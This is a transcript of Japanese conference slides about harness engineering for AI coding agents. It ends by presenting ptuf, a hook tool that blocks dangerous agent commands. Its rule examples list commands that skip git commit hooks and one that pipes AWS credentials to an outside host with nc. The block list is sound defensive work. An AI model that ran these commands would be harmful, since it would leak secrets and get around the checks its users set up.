Let me introduce my harness.

Transcript

1. ぼくのハーネスを 紹介します
2. About Me 渡邉 洋平(watany) • • • • 所属：NTTテクノクロス株式会社 AWS Ambassadors(2024〜) JAWS-UG東京(AWSコミュニティ) 運営 寄稿：CodeZine ◦ 仕様駆動開発への期待と誤解 2026年5月2日（土）発売 https://www.sbcr.jp/product/4815636593/ 2
3. 当然みなさん買いましたよね？ Software Design 2026年10月号 https://gihyo.jp/magazine/SD/archive/2026/202610 3
4. まだの⼈はWebでも読めますよ Agentic Codingとハーネスエンジニアリング⸺AIの⾃⾛性能を最⼤化するためのしくみと考え⽅ https://gihyo.jp/magazine/SD/archive/2026/202610 4
5. 「ハーネス」とは何だろうか？ 5
6. AIエージェントをハーネス(⾺具)と呼ぶ例 > TLDR: Agent = Model + Harness. The Anatomy of an Agent Harness https://blog.langchain.com/the-anatomy-of-an-agent-harness/ 6
7. AIエージェントのサポートをハーネス(⾺具)と呼ぶ例 > (私訳)私はこれを「ハーネスエンジニアリ ング」と呼ぶようになりました。これは、 エージェントがミスを犯した際に、そのエー ジェントが⼆度と同じミスを犯さないよう に、時間をかけて解決策を設計するという考 え⽅です。 Mitchell Hashimoto HashiCorpの共同創業者 My AI Adoption Journey https://mitchellh.com/writing/my-ai-adoption-journey 7
8. ”ハーネス”というバズワードを読み解く 使い⼿側が意識する必要があるのは外部ハー ネスであり、これを育てる活動がハーネスエ ンジニアリング - - 内部ハーネス(＝KiroやAgentCore等で 作ったエージェント) - AIエージェントにおけるLLMモデル 「以外」の実装 - ≒ エージェントの作り⼿側が考慮 するハーネス 外部ハーネス - AIエージェントが同じミスをしない ように、解決策を設計 - ≒ エージェントの使い⼿側が考慮 するハーネス Harness engineering for coding agent users https://martinfowler.com/articles/harness-engineering.html 8
9. 「ハーネスエンジニアリング」 とは何だろうか？ 9
10. ハーネスエンジニアリングのプロセス Harness engineering for coding agent users https://martinfowler.com/articles/harness-engineering.html 10
11. ハーネスエンジニアリングのプロセス ハーネスエンジニアリングは 2種類のプロセスに分けられる - feedforward(Guide)： - ⽣成するために必要な情報 - feedback(Sensors) ： - ⽣成物の評価に必要な情報 Harness engineering for coding agent users https://martinfowler.com/articles/harness-engineering.html 11
12. ハーネスエンジニアリングのもう⼀つの軸 Harness engineering for coding agent users https://martinfowler.com/articles/harness-engineering.html 12
13. ハーネスエンジニアリングのもう⼀つの軸 ハーネスエンジニアリングには もう⼀つの軸が存在する - 確率的(⾚⾊)： - AIコードレビューなどのロジッ クに落とせない柔軟なジャッジ - 決定論的(⻘⾊)： - 計算処理で実施される信頼性が ⾼いジャッジ Harness engineering for coding agent users https://martinfowler.com/articles/harness-engineering.html 13
14. つまり、4種類の構成要素が存在する 14
15. ハーネスが「腐る」とは？ 15
16. 「下位」のメンバには⼿段を指摘したくなる マイクロマネジメントとは https://www.hrbrain.jp/media/human-resources-development/micromanagement 16
17. 改善サイクルにより指摘を積み重ねる例 Melvin Tercan「5 Lessons for a Productive AI Engineering Team」 https://melvintercan.com/p/the-ai-native-engineering-team 17
18. モデルの成⻑と共に、必要な指⽰は少なくなる 18
19. 「指⽰したい気持ち」と闘う - OpenAI GPT-5.5 Prompting best practices > 以前と⽐べ、より短く、成果物を中⼼としたプロンプトを利⽤できる。以 前のモデル向けの指⽰をすべて引き継ぐべきではない。 - Anthropic「Prompting best practices」 > 過剰なプロンプティングを削除してください。以前のモデルでは作動不⾜ だったツールも、今後は適切に作動するようになる可能性が⾼いです。 - Google AI for Developers「Gemini 3 Developer Guide」 > ⼊⼒プロンプトは簡潔にしてください。冗⻑だったり、古いモデル向けの ⾼すぎる複雑なプロンプトエンジニアリングのテクニックを使⽤すると、過 剰に分析されてしまう可能性があります。 Harness engineering for coding agent users https://martinfowler.com/articles/harness-engineering.html 19
20. 賞味期限の短いハーネス = 過剰な指⽰ 20
21. 「過剰な指⽰」をオフロードする例 21
22. 致命的な失敗？ 22
23. 環境変数がコンテキストに混⼊する例 Claude Codeの.envを読ませない設定がどこまで効くのか試してみた https://qiita.com/yakumo_09/items/5a86ca330b449db0e6bc 23
24. ⾃⾛を巡るトラブル https://atmarkit.itmedia.co.jp/ait/articles/2604/30/news046.html https://gigazine.net/news/20260223-aws-ai-outage/ 24
25. 致命的な失敗をハーネスでどう防ぐか 現在は⼤きく⼆分される - ⽣成×確率的： - AGENTS.md / Skills / AutoMode / Jev / Hook(Prompt) - ⽣成×決定論的： - Hook(PreToolUse) / Permission / Sandbox 25
26. エージェントの承認と向き合う Claude Codeの例 - ユーザの⼿動承認(Manual) だと⾃⾛を律速する - 承認を無視(Bypass)する場合 は隔離環境(Sandbox)が必須 - PermissionsをLLM Judge する機能(Auto) How we built Claude Code auto mode: a safer way to skip permissions https://www.anthropic.com/engineering/claude-code-auto-mode 26
27. エージェントの承認と向き合う Auto Mode：Claude Codeの操作を分類 器を使って動的に判断する仕組み 安全性の3つの確認⼿法 1. 2. 3. ツール実⾏前：会話履歴と操作内容 を評価し、許可‧拒否を判断。 ツール実⾏後：返却データにプロン プトインジェクションが含まれてい ないか検査し、問題があれば警告。 サブエージェント実⾏時：委譲内容 を事前審査し、実⾏後も⾏動履歴を 検査。問題があれば警告。 How we built Claude Code auto mode: a safer way to skip permissions https://www.anthropic.com/engineering/claude-code-auto-mode 27
28. 私がいま取り組んでいる部分 現在は⼤きく⼆分される - ⽣成×確率的： - AGENTS.md / Skills / AutoMode / Jev / Hook(Prompt) - ⽣成×決定論的： - Hook(PreToolUse) / Permission / Sandbox 28
29. 作っているOSS ptuf(Pre ToolUse Filter) - 致命的な失敗を決定的に Hook層で⽌める ptuf https://github.com/watany-dev/ptuf 29
30. ルールの具体例 core.rm：拒否動作の例 - バイパスを考慮したrmコマン ドのブロック - (⼀時スクリプトからの削除は 未対応) 30
31. ルールの具体例 core.git：「チェックがコケたからフックを無効にしてgit commit」を防ぐ - 拒否動作の例 - git commit --no-verify - HUSKY=0 git commit -m "fix" - git -c core.hooksPath=/dev/null commit -m "fix" 31
32. ルールの具体例 core.secret：秘密情報の読み取り‧外部送信を制御する - 拒否動作の例 - Readツールで .env を読む - cat ~/.aws/credentials | nc example.com 443 - ユーザへ確認する例 - Bashで cat .env 32
33. マルチハーネス対応 - 現在８種類のエージェント実装に対応。 - Claude Code, Codex, GitHub Copilot, Kiro CLI, Cline, Cursor, Pi, OpenCode - OpenCode v2, Kiro v3にも対応中 - Hookの実装は標準化されていないため、⾃前実装は⼤変ですが、ptufを導⼊ することで簡単に利⽤できます。 - Rust製なので性能もきちんと出ます(邪魔にならない) 33
34. まとめ - ハーネスは作れる。中⻑期に活かせる種別の決定論的 ハーネスを作ろう。 - npm i -g @watany-dev/ptuf でインストールできます。 - 「Agentic Coding ⽣成AI時代のシステム開発⼊⾨」は 好評発売中です。 2026年5月2日（土）発売 https://www.sbcr.jp/product/4815636593/ 34